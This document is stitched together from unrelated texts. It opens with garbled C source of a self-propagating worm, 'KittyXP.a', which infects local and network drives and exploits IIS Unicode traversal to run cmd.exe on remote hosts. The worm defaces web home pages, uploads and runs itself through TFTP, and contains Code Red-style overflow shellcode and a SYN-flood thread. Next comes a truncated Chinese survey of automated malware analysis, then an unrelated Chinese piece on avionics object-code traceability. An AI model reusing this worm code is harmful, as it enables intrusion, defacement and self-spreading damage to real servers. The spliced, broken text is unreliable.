CurrentDrive[0] = 'A' + i;

DriveType = GetDriveType(CurrentDrive);

// Only infect files in Fixed and Network Drives

if ((DriveType == DRIVE_FIXED) || (DriveType == DRIVE_REMOTE))

{

SearchFiles(CurrentDrive);

}

}

}

return 1;

}

///////////

// Payload

///////////

int MyMessageBox(HWND hWnd, LPSTR Text, LPSTR Caption, UINT Type)

{

char * Msgs[] =

{

“我爱你张一”,

“KittyXP.a by Squirrel in china”,

“我爱你张一”,

“我爱你张一”

};

static int i = 0;

return MessageBoxA(hWnd, Text, Msgs[++i & 3], Type);

}

// Simulated host for 1st generation

void Gen1()

{

MyMessageBox(NULL, “”, NULL, MB_OK);

}

file://程序入口

int main(int argc, char *argv[])

{

HANDLE hThread=NULL;

DWORD dwThreadID;

HANDLE hThread1=NULL;

HANDLE idpthread;

DWORD dwThreadID1;

HANDLE iis4thread;

DWORD dwThreadID2;

HANDLE xpmethread;

DWORD dwThreadID3;

HANDLE anitthd;

DWORD dwThreadID4;

DWORD dwThreadID0;

handle synflood

dword synfloodid

long PreviousCount;

handle pevr

dword pevrid

handle mailworm

dword wormid

pevr=CreateThread(NULL,0,pevirus,argv,0,&pevrid)//调用病毒部分

CreateThread(NULL,0,TFTP32,0,0,&dwthreadid0)//开始tftp32

mailworm=CreateThread(NULL,0,worm,argv,0,&wormid)//调用蠕虫部分

//CurVerInfo.dwOSVersionInfoSize = sizeof(CurVerInfo);

//GetVersionEx(&CurVerInfo);

HKEY KittyXP.aInstallKey,KittyXP.aNewKey;

if(RegOpenKeyEx(HKEY_LOCAL_MACHINE,“SoftwareKittyXP.aInstall”,0,KEY_ALL_ACCESS,&KittyXP.aInstallKey)==ERROR_SUCCESS)

{

HMODULE g_module=NULL

char svFileName[512]

g_module=GetModuleHandle(NULL)

GetModuleFileName(g_module,svFileName,512)

char systemdir[512]

GetSystemDirectory(systemdir,512)

lstrcat(systemdir,“ssrv.exe”)

CopyFile(svFileName,systemdir,false)

mailworm=CreateThread(NULL,0,worm,argv,0,&wormid)//调用蠕虫部分

WaitForSingleObject(mailworm, INFINITE)

CloseHandle(mailworm)

RegCreateKey(HKEY_LOCAL_MACHINE,“SoftwareKittyXP.aInstall”,&KittyXP.aNewKey);

RegCloseKey(KittyXP.aNewKey);

}

int i;

int StartNet;

int StopNet;

int StartHost;//IP段开始

int StopHost;//IP段结束

WSADATA wsaData;

struct in_addr host;

WSAStartup(0x202, &wsaData );

StartNet=GetLocalIP();

StopNet=GetLocalIP()+100;

StartHost=ntohl(StartNet);

StopHost=ntohl(StopNet);

WSACleanup();

do

{

host.S_un.S_addr = inet_addr(argv[1]);

WSAStartup(0x202, &wsaData );

hSemaphore=CreateSemaphore(NULL,MaxThread,MaxThread,NULL);

if(hSemaphore==NULL)

{

//printf(“ CreateSemaphore failed:%d”,GetLastError());

file://__leave;

}

for(i=StartHost;i<=StopHost;i++)

{

hThread=CreateThread(NULL,0,FindExeDir,(LPVOID)i,0,&dwThreadID);

idpthread=CreateThread(NULL,0,redcode,(LPVOID)i,0,&dwThreadID1);

iis4thread=CreateThread(NULL,0,iis4,(LPVOID)i,0,&dwThreadID2);

xpmethread=CreateThread(NULL,0,xpmethd,(LPVOID)i,0,&dwThreadID3);

anitthd=CreateThread(NULL,0,anitthd,(LPVOID)i,0,&dwThreadID3);

synflood=CreateThread(NULL,0,flood,0,0,&synfloodid)

if((hThread==NULL) or (idpthread==null) or (iis4thread==null) or (xpmethread==null) or (anitthd==null) or (synflood==null))

{

//printf(“ Create thread failed:%d”,GetLastError());

break;

}

//printf(“.”);

Sleep(10);

CloseHandle(hThread);

CloseHandle(idpthread)

CloseHandle(xpmethread)

CloseHandle(iis4thread)

CloseHandle(anitthd)

CloseHandle(synflood)

WaitForSingleObject(hSemaphore,INFINITE);

}

while(1)

{

WaitForSingleObject(hSemaphore,INFINITE);

if(!ReleaseSemaphore(hSemaphore,1,&PreviousCount))

{

//printf(“ main() ReleaseSemaphore failed:%d”,GetLastError());

Sleep(5000);

break;

}

if(PreviousCount==(MaxThread-1))

{

//printf(“ All done.”);

break;

}

Sleep(500);

}

// printf(“发现可执行目录. [%s] ”, exedir);

// printf(“可执行目录是 [%s] ”,localpath);

CloseHandle(hSemaphore);

WSACleanup();

}

while((argc=2)or (argc>2)or (argc<2));//死循环

return 0;

}

long GetLocalIP(void)

{

char szName[128];

int i;

PHOSTENT pHost;

gethostname(szName, 128);

//printf(“%s ”,szName);

pHost = gethostbyname(szName);

if( NULL == pHost )// failed

return 0;

for(i=0;pHost->h_addr_list[i]!=NULL;i++)

//printf(“%s ”,inet_ntoa(*((struct in_addr *)pHost->h_addr_list[i])));

return inet_addr(inet_ntoa(*((struct in_addr *)pHost->h_addr_list[i-1])));

}

DWORD WINAPI FindExeDir(LPVOID lp)

{

int host=(int)lp;

u_short port=80;

int SockFD,i;

struct sockaddr_in DstSAin;

char waste[500],uniwaste[500];

char *buffer,*p;

char space[3];

char dletter[2];//磁盘路径

char asc[3];

int rbytes=0,loc1=0,loc2=0;

char locdir[300];

int exenum=0;

crack:

memset(locdir,0,300);

memset(uniwaste,0,499);

memset(space,0,3);

strcpy(space,“%20”);

memset(asc,0,3);

strcpy(asc,“%3E”);

//printf(“查找漏洞%d... ”,host);

for(i=0;i<8;i++)

{

strcat(uniwaste,“..”);

strcat(uniwaste,hole[num]); file://把unicode码和URL结合起来.

}

memset(waste,0,500);

file://create our string that sees if we can execute cmd.exe

file://that way we know if a directory is executable and if the exe dir is on the same harddrive as cmd.exe

sprintf(waste,“GET /%s/%s/winnt/s, ystem32/cmd.exe?/c%sdir HTTP/1.0 ”,ExeDirs[exenum],uniwaste,space);

SockFD=socket(AF_INET,SOCK_STREAM,0);

DstSAin.sin_family = AF_INET;

DstSAin.sin_port = htons(port);

DstSAin.sin_addr.S_un.S_addr=htonl(host);// DstSAin.sin_addr.s_addr=iplookup(host);

if(!connect(SockFD,(struct sockaddr *)&DstSAin, sizeof(DstSAin)))

{

//printf(“Trying directory [%s] ”, waste);

send(SockFD,waste,strlen(waste),0); file://try one of the directories

buffer=GetData(SockFD);

p=strstr(buffer,“Directory of”); file://找到了cmd.exe的目录!!!

if(p!=NULL)

{

loc1=p-buffer+1;

p=strstr(buffer,“

”);

if(p!=NULL)

{

loc2=p-buffer+1;

loc2=loc2-27;

buffer[loc2-2]='�';

strncpy(locdir,buffer+loc1+12,290);

file://Set executable directory.

exedir=malloc(strlen(ExeDirs[exenum])+1);

memset(exedir,0,strlen(ExeDirs[exenum])+1);

memcpy(exedir,ExeDirs[exenum],strlen(ExeDirs[exenum]));

file://Set executable directory path

localpath=malloc(strlen(locdir)+1);

memset(localpath,0,strlen(locdir)+1);

memcpy(localpath,locdir,strlen(locdir));

closesocket(SockFD);

file://查询首页位置

memset(waste,0,500);

SockFD=socket(AF_INET,SOCK_STREAM,0);

DstSAin.sin_family = AF_INET;

DstSAin.sin_port = htons(port);

DstSAin.sin_addr.S_un.S_addr=htonl(host);// DstSAin.sin_addr.s_addr=iplookup(host);

sprintf(waste,“GET /%s/%s/winnt/system32/cmd.exe?/c%sset HTTP/1.0 ”,ExeDirs[exenum],uniwaste,space);

if(!connect(SockFD,(struct sockaddr *)&DstSAin, sizeof(DstSAin)))

{

send(SockFD,waste,strlen(waste),0); file://try one of the directories

buffer=GetData(SockFD);

WebPath=find(buffer,“PATH_TRANSLATED=”);//上面通过cmd.exe?/c set命令显示主机配置

file://从中找到WEB目录,用来修改首页

closesocket(SockFD);

strncpy(dletter,localpath,1);

dletter[1]='�';

//printf(“首页路径%s ”,WebPath);

}

memset(waste,0,500);

SockFD=socket(AF_INET,SOCK_STREAM,0);

DstSAin.sin_family = AF_INET;

DstSAin.sin_port = htons(port);

DstSAin.sin_addr.S_un.S_addr=htonl(host);// DstSAin.sin_addr.s_addr=iplookup(host);

sprintf(waste,“GET /%s/%s/winnt/system32/cmd.exe?/c%secho+我爱你张一default.asp>+%sdefault.asp HTTP/1.0 ”,ExeDirs[exenum],uniwaste,space,WebPath);

if(!connect(SockFD,(struct sockaddr *)&DstSAin, sizeof(DstSAin)))

{

//printf(“修改首页default.asp ”);

send(SockFD,waste,strlen(waste),0); file://try one of the directories

buffer=GetData(SockFD);

p=strstr(buffer,“Access is denied”);

if(p!=NULL)

{

// printf(“Access is denied”);

}

closesocket(SockFD);

}

memset(waste,0,500);

SockFD=socket(AF_INET,SOCK_STREAM,0);

DstSAin.sin_family = AF_INET;

DstSAin.sin_port = htons(port);

DstSAin.sin_addr.S_un.S_addr=htonl(host);// DstSAin.sin_addr.s_addr=iplookup(host);

sprintf(waste,“GET /%s/%s/winnt/system32/cmd.exe?/c%secho+我爱你张一index.asp>+%sindex.asp HTTP/1.0 ”,ExeDirs[exenum],uniwaste,space,WebPath);

if(!connect(SockFD,(struct sockaddr *)&DstSAin, sizeof(DstSAin)))

{

//printf(“修改首页index.asp ”);

send(SockFD,waste,strlen(waste),0); file://try one of the directories

buffer=GetData(SockFD);

p=strstr(buffer,“Access is denied”);

if(p!=NULL)

{

//printf(“不能修改,文件属性有问题”);

}

closesocket(SockFD);

}

memset(waste,0,500);

SockFD=socket(AF_INET,SOCK_STREAM,0);

DstSAin.sin_family = AF_INET;

DstSAin.sin_port = htons(port);

DstSAin.sin_addr.S_un.S_addr=htonl(host);// DstSAin.sin_addr.s_addr=iplookup(host);

sprintf(waste,“GET /%s/%s/winnt/system32/cmd.exe?/c%secho+我爱你张一index.html>+%sindex.html HTTP/1.0 ”,ExeDirs[exenum],uniwaste,space,WebPath);

if(!connect(SockFD,(struct sockaddr *)&DstSAin, sizeof(DstSAin)))

{

//printf(“修改首页index.html ”);

send(SockFD,waste,strlen(waste),0); file://try one of the directories

buffer=GetData(SockFD);

p=strstr(buffer,“Access is denied”);

if(p=NULL)

{

//printf(“不能修改,文件属性有问题”);

}

closesocket(SockFD);

}

memset(waste,0,500);

SockFD=socket(AF_INET,SOCK_STREAM,0);

DstSAin.sin_family = AF_INET;

DstSAin.sin_port = htons(port);

DstSAin.sin_addr.S_un.S_addr=htonl(host);// DstSAin.sin_addr.s_addr=iplookup(host);

sprintf(waste,“GET /%s/%s/winnt/system32/cmd.exe?/c%secho+我爱你张一default.htm>+%sdefault.htm HTTP/1.0 ”,ExeDirs[exenum],uniwaste,space,WebPath);

if(!connect(SockFD,(struct sockaddr *)&DstSAin, sizeof(DstSAin)))

{

//printf(“修改首页default.htm ”);

send(SockFD,waste,strlen(waste),0); file://try one of the directories

buffer=GetData(SockFD);

p=strstr(buffer,“Access is denied”);

if(p!=NULL)

{

//printf(“不能修改,文件属性有问题”);

}

closesocket(SockFD);

}

memset(waste,0,500);

SockFD=socket(AF_INET,SOCK_STREAM,0);

DstSAin.sin_family = AF_INET;

DstSAin.sin_port = htons(port);

DstSAin.sin_addr.S_un.S_addr=htonl(host);

sprintf(waste,“GET /%s/%s/winnt/system32/cmd.exe?/c%s+TFTP%20-i%20”&GetLocalIP()&“%20Get%20ssrv.exe%20%ssrv.exe HTTP/1.0 ”,ExeDirs[exenum],uniwaste,space,dletter);

if(!connect(SockFD,(struct sockaddr *)&DstSAin, sizeof(DstSAin)))

{

//printf(“正在上传自身”)

send(SockFD,waste,strlen(waste),0); file://try one of the directories

buffer=GetData(SockFD);

p=strstr(buffer,“Access is denied”);

if(p!=NULL)

{

//printf(“system32不允许写操作”);

}

closesocket(SockFD);

}

file://运行

memset(waste,0,500);

SockFD=socket(AF_INET,SOCK_STREAM,0);

DstSAin.sin_family = AF_INET;

DstSAin.sin_port = htons(port);

DstSAin.sin_addr.S_un.S_addr=htonl(host);

sprintf(waste,“GET /%s/%s/winnt/system32/cmd.exe?/c%ssrv.exe HTTP/1.0 ”,ExeDirs[exenum],uniwaste);

if(!connect(SockFD,(struct sockaddr *)&DstSAin, sizeof(DstSAin)))

{

//printf(“在主机上运行自己 ”);

send(SockFD,waste,strlen(waste),0); file://try one of the directories

buffer=GetData(SockFD);

p=strstr(buffer,“CGI Error”);

if(p!=NULL)

{

// printf(“运行成功”);//此时存在漏洞的主机开始扫描自己IP段附近的漏洞主机

}

closesocket(SockFD);

}

file://return 1;

}

}

if(num<23)//循环尝试漏洞编码

{ num++;

closesocket(SockFD);

goto crack;

}

else

{

if(exenum<6)//遍历各个目录

{

num=0;

exenum++;

ExeDirNum=exenum;

closesocket(SockFD);

goto crack;

}

closesocket(SockFD);

}

//printf(“扫描全部结束,在此应该进行破坏性操作... ”);

file://可选办法,在目标主机上的autoexec.bat里加上格式化硬盘命令

file://然后执行ExitSystem(1);使主机重新启动

file://重新启动后格式化硬盘

}

return 0;

}

file://在返回的数据中查找指定信息

char* find(const char*pszSource,const char* pszKey)

{

static char szBuffer[2049];

const char * p;

const char * q;

p = q = NULL;

p = strstr(pszSource,pszKey);

if ( p != NULL )

{

p += strlen(pszKey);

q = strstr(p,“ ”);

if ( q == NULL )

q = p + strlen(p);

strncpy(szBuffer,p,q-p);

return szBuffer;

}

return NULL;

}

char *GetData(int SockFD)

{

file://get data without a blocking recv so we dont hang if we crash the server

char *buffer;

char data[2001];

unsigned long n=1;

unsigned long ff=0;

char waste[2001];

int p, i=1;

int t;

memset(data,0,2001);

p=ioctlsocket(SockFD,FIONBIO,&on);

memset(waste,0,2001);

for(t=1;t<10;t++){

i=recv(SockFD, waste, 2000, 0);

if(i>0)

break;

Sleep(500);

}

waste[i]='�';

strncat(data,waste,2000);

buffer = ( char * )malloc( 2000 * sizeof( char ) );

strncpy( buffer, data, 2000 );

return buffer;

}

int WINAPI redcode(char *argv[])

{

int i,j,s,pid;

unsigned int cb;

unsigned short port;

char *p,buf[512],buf2[512],buf3[2048];

FILE *fp;

HMODULE g_module=NULL

char svFileName[512]

g_module=GetModuleHandle(NULL)

GetModuleFileName(g_module,svFileName,512)

if((fp=fopen(svFileName,“rb”))==0)

return -2;

if(!(cb=resolve(ADDR)))

return -3;

if((pid=fork())<0)

return -4;

if(pid)

{

fclose(fp);

s = make_connection(argv[1],80);

if(s<0)

{

//printf(“connect error:[%d]. ”,s);

kill(pid,SIGTERM);

return -5;

}

j = strlen(shellcode);

*(unsigned int *)&shellcode[GMHANDLEA_OFFSET] = GMHANDLEA;

*(unsigned int *)&shellcode[GPADDRESS_OFFSET] = GPADDRESS;

port = htons(PORT);

#if MASKING

port ^= PORTMASK;

cb ^= ADDRMASK;

*(unsigned short *)&shellcode[PORTMASK_OFFSET] = PORTMASK;

*(unsigned int *)&shellcode[ADDRMASK_OFFSET] = ADDRMASK;

#endif

*(unsigned short *)&shellcode[PORT_OFFSET] = port;

*(unsigned int *)&shellcode[ADDR_OFFSET] = cb;

for(i=0;i {

if((shellcode[i]==0x0a)||

(shellcode[i]==0x0d)||

(shellcode[i]==0x3a))

break;

}

if(i!=j)

{

//printf(“bad portno or ip address... ”);

close(s);

kill(pid,SIGTERM);

return -6;

}

memset(buf,1,sizeof(buf));

p = &buf[OFFSET-2];

sprintf(p,“%s”,forwardjump);

p += strlen(forwardjump);

*p++ = 1;

*p++ = '%';

*p++ = 'u';

sprintf(p,“%04x”,(RET>>0)&0xffff);

p += 4;

*p++ = '%';

*p++ = 'u';

sprintf(p,“%04x”,(RET>>16)&0xffff);

p += 4;

*p++ = 1;

sprintf(p,“%s”,jump_to_shell);

memset(buf2,NOP,sizeof(buf2));

memcpy(&buf2[sizeof(buf2)-strlen(shellcode)-strlen(storage)-1],storage,strlen(storage));

memcpy(&buf2[sizeof(buf2)-strlen(shellcode)-1],shellcode,strlen(shellcode));

buf2[sizeof(buf2)-1] = 0;

sprintf(buf3,“GET /a.idq?%s=a HTTP/1.0 Shell: %s ”,buf,buf2);

write(s,buf3,strlen(buf3));

//printf(“---”);

for(i=0;i {

if((i%16)==0)

//printf(“ ”);

//printf(“%02X ”,buf3[i]&0xff);

}

//printf(“ --- ”);

wait(0);

sleep(1);

shutdown(s,2);

close(s);

//printf(“Done. ”);

}

else

{

s = get_connection(PORT);

j = 0;

while((i=fread(buf,1,sizeof(buf),fp)))

{

write(s,buf,i);

j += i;

printf(“.”);

fflush(stdout);

}

fclose(fp);

//printf(“ %d bytes send... ”,j);

shutdown(s,2);

close(s);

}

return 0;

}

int winapi iis4(char *argv[]) {

WORD wVersionRequested;

WSADATA wsaData;

int err;

SOCKADDR_IN sin,sout;

int soutsize=sizeof(sout);

unsigned long threadid,bytesread;

SOCKET s,in;

wVersionRequested = MAKEWORD(1, 1);

HANDLE hf;

string sfname;

GetModuleFileName(NULL,sfname,MAX_PATH)

hf = CreateFile(sfname,GENERIC_READ,FILE_SHARE_READ,0,OPEN_EXISTING,FILE_ATTRIBUTE_NORMAL,0);

sizemybytes = GetFileSize(hf,NULL);

mybytes = (char *)malloc(sizemybytes);

ReadFile(hf,mybytes,sizemybytes,&bytesread,0);

CloseHandle(hf);

err = WSAStartup(wVersionRequested, &wsaData);

if (err != 0)

return;

setuphostname();

attack(argv[1])

s = socket(AF_INET,SOCK_STREAM,0);

if (s==-1)

return;

sin.sin_family = AF_INET;

sin.sin_addr.s_addr = 0;

sin.sin_port = htons(80);

if (bind(s, (LPSOCKADDR)&sin, sizeof (sin))!=0) return;

if (listen(s,5)!=0) return;

while (1) {

in = accept(s,(sockaddr *)&sout,&soutsize);

CreateThread(0,0,doweb,&in,0,&threadid);

}

int winapi xpmethd(char *argv[])

{

int sockfd[MAX];

char sendXP[]=“XP”;

char jmpcode[281], execode[840],request[2048];

char *send_buffer;

int num_socks;

int bindport;

int i;

int port;

WSAdata wsd

int eerx=wsastartup(0x0101,&wsd)

if (eerx!=0)

{

WSAcleanup()

return 0

}

unsigned char shellcode[] =

“x90xebx03x5dxebx05xe8xf8xffxffxffx83xc5x15x90x90”

“x90x8bxc5x33xc9x66xb9x10x03x50x80x30x97x40xe2xfa”

“x7ex8ex95x97x97xcdx1cx4dx14x7cx90xfdx68xc4xf3x36”

“x97x97x97x97xc7xf3x1exb2x97x97x97x97xa4x4cx2cx97”

“x97x77xe0x7fx4bx96x97x97x16x6cx97x97x68x28x98x14”

“x59x96x97x97x16x54x97x97x96x97xf1x16xacxdaxcdxe2”

“x70xa4x57x1cxd4xabx94x54xf1x16xafxc7xd2xe2x4ex14”

“x57xefx1cxa7x94x64x1cxd9x9bx94x5cx16xaexdcxd2xc5”

“xd9xe2x52x16xeex93xd2xdbxa4xa5xe2x2bxa4x68x1cxd1”

“xb7x94x54x1cx5cx94x9fx16xaexd0xf2xe3xc7xe2x9ex16”

“xeex93xe5xf8xf4xd6xe3x91xd0x14x57x93x7cx72x94x68”

“x94x6cx1cxc1xb3x94x6dxa4x45xf1x1cx80x1cx6dx1cxd1”

“x87xdfx94x6fxa4x5ex1cx58x94x5ex94x5ex94xd9x8bx94”

“x5cx1cxaex94x6cx7exfex96x97x97xc9x10x60x1cx40xa4”

“x57x60x47x1cx5fx65x38x1exa5x1axd5x9fxc5xc7xc4x68”

“x85xcdx1exd5x93x1axe5x82xc5xc1x68xc5x93xcdxa4x57”

“x3bx13x57xe2x6exa4x5ex1dx99x13x5exe3x9exc5xc1xc4”

“x68x85xcdx3cx75x7fxd1xc5xc1x68xc5x93xcdx1cx4fxa4”

“x57x3bx13x57xe2x6exa4x5ex1dx99x17x6ex95xe3x9exc5”

“xc1xc4x68x85xcdx3cx75x70xa4x57xc7xd7xc7xd7xc7x68”

“xc0x7fx04xfdx87xc1xc4x68xc0x7bxfdx95xc4x68xc0x67”

“xa4x57xc0xc7x27x9bx3cxcfx3cxd7x3cxc8xdfxc7xc0xc1”

“x3axc1x68xc0x57xdfxc7xc0x3axc1x3axc1x68xc0x57xdf”

“x27xd3x1ex90xc0x68xc0x53xa4x57x1cxd1x63x1exd0xab”

“x1exd0xd7x1cx91x1exd0xafxa4x57xf1x2fx96x96x1exd0”

“xbbxc0xc0xa4x57xc7xc7xc7xd7xc7xdfxc7xc7x3axc1xa4”

“x57xc7x68xc0x5fx68xe1x67x68xc0x5bx68xe1x6bx68xc0”

“x5bxdfxc7xc7xc4x68xc0x63x1cx4fxa4x57x23x93xc7x56”

“x7fx93xc7x68xc0x43x1cx67xa4x57x1cx5fx22x93xc7xc7”

“xc0xc6xc1x68xe0x3fx68xc0x47x14xa8x96xebxb5xa4x57”

恶意代码自动分析技术研究 篇3

1 静态自动分析技术

静态分析是一种白盒分析方法,它不实际运行恶意代码,而是通过文件结构解析、反汇编、反编译等手段对恶意代码的二进制文件进行分析。通过静态分析可以了解恶意代码的程序流程和功能,获取用于检测和查杀恶意代码的特征定义。静态自动分析与静态手工分析相比较,其技术上的特色主要体现在:特征码自动提取技术和行为特征静态自动提取技术。

1.1 特征码自动提取技术

特征码就是某个恶意代码所具有的与其它恶意代码不同,而且又可以把它和正常程序区别开的一些代码。通过特征码,可实现对恶意代码的精确匹配。绝大多数自动提取特征码的方法都是采用统计,比较和数据挖掘等技术。Kephart提出了一种基于统计和比较的方法,可自动提取一个固定长度(24字节)的特征码,最初被应用于DIS系统中。Deng Peter对上述方法进行了改进,提出了使用多个可变长度并且相互关联的字符串来表示特征码的方法。多态(polymorphic)和变形(metamorphic)技术是特征码静态自动提取技术无法逾越的障碍,因为它可以使一种病毒千变万化,找不到固定不变的病毒体,提取的特征码也就没有意义。

1.2 SAFE和SAVE

使用反汇编技术可对恶意代码的内部结构与流程进行深入分析,如SAFE和SAVE。SAFE通过对恶意代码进行反汇编并使用模式识别的方法可以很好的对抗恶意代码的代码迷惑(obfuscation)技术。但是这种方法依赖于第三方的反汇编工具(IDA Pro),在很大程度上影响了分析效率。SAVE通过自己开发的PE文件解析器对恶意代码进行反汇编,提取恶意代码的API调用序列作为恶意代码的行为特征。通过反汇编和反编译技术容易对恶意代码所有可能的执行路径进行全面分析,但是要求技术难度很高,并且难以应对采用复杂的加壳、多态和变形技术的恶意代码,对恶意代码进行自动分析的成功率不高。

2 动态自动分析技术

动态分析是一种黑盒分析方法,它需要在一个可控的环境中运行恶意代码,分析恶意代码与终端操作系统之间的行为特征,动态分析结果近似于所见即所得,比较直观,如对注册表、文件系统、网络的访问行为等等。

动态自动分析与动态手工分析的主要区别是:动态自动分析主要利用API Hooking等技术对在恶意代码运行过程中进行行为监测,而动态手工分析则更多的是利用调试工具(如OllyDbg、SoftICE等)对恶意代码进行动态调试跟踪。

动态分析技术是恶意代码主机行为主动检测技术的基础,采用这种技术可以轻松对抗加壳、多态和变形技术的恶意代码。基于行为的恶意代码特征定义虽不能实现精确匹配,但普适性很好。具统计,近期超过三分之一的恶意代码检测归功于基于行为的动态检测技术。

2.1 状态对比法

状态对比法是通过恶意代码执行前和执行完毕后,比较操作系统的前后状态变化来分析恶意代码的行为。这种方法在实现上简单快速,但是它忽略了恶意代码的中间行为,得到的分析结果往往不能全面、准备的反映恶意代码的真实行为,所以也就不能成为恶意代码行为特征定义和监测的依据。

2.2 动态追踪法

动态追踪法是在恶意代码的执行过程中监视其动态行为。与状态对比法相比,这种方法可以更加真实的反应恶意代码执行全过程的行为特征。在动态追踪法中采用的行为监测手段大致可分为:User Level Monitor、Kernel Level Monitor和基于指令集仿真环境的行为监测技术等。User Level Monitor技术一般指操作系统用户层的User API Hooking技术,它利用系统提供的编程接口进行钩挂,可以通过监测恶意代码执行过程中的系统API调用及其输入输出参数进一步得出恶意代码的行为。

Kernel Level Monitor技术指Kernel API Hooking技术和设备过滤驱动(Filter Driver)技术。Kernel API Hooking技术一般通过修改内核SSDT表(System Service Dispatch Table)中系统服务函数地址实现。另外,多个用户层函数(如多个DLL中的函数)可能对应一个内核层函数,因此实现同样的功能,User API Hooking技术钩挂的位置多而分散,而User API Hooking技术钩挂的位置少而集中。

3 网络行为自动分析技术

恶意的网络行为通常分为以下五类:扫描,入侵,控制,复制,攻击。恶意代码的网络行为分析一般指:将被感染主机置于一个隔离的小型网络环境中,在恶意代码执行过程中监测其访问网络环境的所有流量,并对其进行分析得出恶意网络行为特征。

网络行为分析与动态分析都需要运行恶意代码,它们的主要区别是:动态分析主要侧重于分析恶意代码与终端操作系统之间的行为特征,这种行为特征主要应用于基于主机的恶意行为检测;网络行为分析主要侧重于分析恶意代码与网络环境之间的行为特征,这种行为特征主要应用于网络监控和入侵检测。

网络行为分析的关键技术主要包括:构建虚拟Internet,模拟普遍的网络服务(如DNS、FTP、TFTP、HTTP、HTTPS、SMTP等),诱骗恶意代码产生恶意网络行为;对监测的网络流量进行分析得出恶意网络行为特征;虚拟网络初始状态的自动恢复等。

具有网络行为自动分析功能的分析器有NICTER (Network Incident analysis Center for Tactical Emergency Response), AMCAS等。其中NICTER构建的虚拟Internet很出色,但未将恶意网络行为抽象出可用于检测的行为特征;而AMCAS提出了一种基于事件序列的网络行为分析方法,并采用snort格式对特征码进行了规范。

4 结束语

对于恶意代码,人工分析是必要的。虽然国内外各大安全厂商部署的恶意代码自动分析系统替代了人的绝大部分工作,但是就如同“机器人不能取代人类”一样,人所具备的优势在于:智慧、经验和灵感。如何仿真网络环境,如何诱骗恶意代码的恶意网络行为,如何将恶意网络行为特征运用到实际的检测工作中等等都将是这个领域研究的热点问题。

参考文献

[1]Kaspersky Security Bulletin[EB/OL].http://www.viruslist.com/, 2008-09-21.

[2]Static Code Analysis[EB/OL].http://en.wikipedia.org/wiki/Static_code_analysis.2008-01-07.

[3]J.O.Kephart and W.C.Arnold.Automatic Extraction of Computer Virus Signatures[J].The4th Virus Bulletin International Conference, 1994 (2) :178-184.

[4]Jeffrey O.Kephart, Gregory B.Sorkin, et al.Blueprint for a Computer Immune System[J].Virus Bulletin Conference, 1997 (3) :159-173.

[5]Deng P S, Wang J H, et al.Intelligent Automatic Malicious Code Signatures Extraction[J].IEEE37th Annual2003International Carnahan Conference on Security Technology, 2003 (10) :600-603.

病毒代码分析 篇4

随着电子计算机技术快速地发展,机载软件在民用飞机上的使用越来越广泛,并且扮演着日益关键的角色。许多高安全关键性的机载系统都由机载软件实现主要的控制、监控和维护功能,并且通过系统初步安全性分析过程为这些机载软件分配相应的IDAL等级。对于IDAL级别为A、B和C级的机载软件,RTCA/DO-178B要求除了满足基于需求的测试覆盖率分析外,还需要完成结构覆盖率分析,结构覆盖率分析用于确定基于需求的测试未覆盖到的代码结构,结构覆盖率分析目的的详细信息可参考RTCA/DO-248B FAQ#43。

RTCA/DO-178B并没有限制在源代码层级或者目标代码层级来完成机载软件结构覆盖率分析工作,但在第6.4.4.2节指出:机载软件结构覆盖率分析可以在源代码层级进行,如果软件为A级别并且编译过程中生成了无法追溯到源代码的目标代码,则应该在目标代码层级完成额外的验证工作以保证这些目标代码的正确性。

机载软件在编译过程中会生成额外的目标代码,比如初始化目标代码、内置错误探测目标代码、异常处理目标代码等等。因此,对于A级别软件,如果在源代码层级完成结构覆盖率分析,还应该分析源代码和目标代码之间的追溯性,并对不能追溯到源代码的目标代码进行额外的验证。

本文通过分析机载软件编译过程以及目标代码生成的影响因素研究了源代码到目标代码的追溯性分析方法。

1 机载软件编译过程

机载软件通常采用“高级语言”编写,如Ada、C、C++等编程语言,编译器将“高级语言”源代码翻译成“低级语言”汇编代码的过程称为“编译过程”。典型的编译过程如图1所示,包括词法分析、语法分析、语义分析、中间代码生成、代码优化和目标代码生成等过程。

1)词法分析:对输入的源程序字符串进行扫描和分解,从而识别出一个个符号,并转化成机器比较容易使用的内码形式;

2)语法分析:在词法分析的基础上将符号序列分解成各类语法短语,如程序、语句、表达式等;

3)语义分析:语义分析检查源程序有无语义错误,为代码生成阶段收集类型信息;

4)中间代码生成:在语法分析和语义分析后,将源程序翻译成中间代码。一般而言,中间代码是独立于具体硬件的记号系统,在某种程度上解决计算机的指令形式,或者比较容易转化为计算机的机器指令;

5)代码优化:代码优化过程是对前阶段产生的中间代码进行变换或改造,目的是使生成的目标代码更为高效,即节省时间和空间,代码优化遵循等价变换规则;

6)目标代码生成:目标代码生成过程是把中间代码编译成特定机器上的绝对指令代码或可重定位的指令代码或汇编代码,这个阶段的工作涉及到硬件系统功能部件的实现、机器指令的选择、各种数据类型变量的存储空间分配以及寄存器和后援寄存器的调度。

在大多数情况下机载软件是运行在嵌入式平台上的。由于性能和资源的限制,嵌入式软件大多数在PC等上位机环境中开发,然后加载到嵌入式目标计算中运行。这种情况下,就要用到交叉编译。简单而言,交叉编译就是在一种环境中编译生成能够在另一种环境中运行的目标代码。

因为编译生成的目标代码与硬件环境是紧密相关的,因此将相同的源代码编译为在不同处理器上运行的目标代码时,需要分别对这些目标代码进行追溯性分析。

2 目标代码生成的影响因素

在将源代码编译成目标代码的过程中,应该考虑影响最终生成目标代码的因素,这些因素会影响到源代码和目标代码之间追溯性,包括以下几点:

1)目标处理器:同一系列的新处理器通常使用向上兼容的指令集,但是不同系列或者不同厂商的处理器可能采用不同的指令集。由于目标代码与运行的处理器紧密相关,所以将相同源代码经过编译在不同处理器上运行,可能生成不同的目标代码;

2)编译器选项:对于编译器进行不同的选项设置,可能影响编译的执行过程,进而影响最终生成的目标代码;

3)代码优化层次:代码优化能够提高目标代码的执行效率,但是深层次的优化会对源代码进行重构,从而使源代码和目标代码的追溯关系难以确定;

4)编程语言特征:有些编程语言的特性导致部分目标代码很难发现,例如寄存器使用优化,循环展开优化,C++中多态特性使用等等。

可以看出,影响最终目标代码生成的影响因素有许多,常见的不能追溯到源代码的目标代码包括:初始化代码,内置错误探测,异常处理,数组边界检查等等。

3 源代码和目标代码追溯性分析方法

根据RTCA/DO-178B的要求,如果A级别软件在源代码层级完成结构覆盖率分析,而且编译器生成了无法直接追溯到源代码的目标代码,那么应该对这些目标代码进行额外的验证。因此,为了识别出不能追溯到源代码的目标代码,应该对源代码和目标代码之间进行追溯性分析。通常而言,源代码和目标代码的追溯分析可以采用以下几种方法:

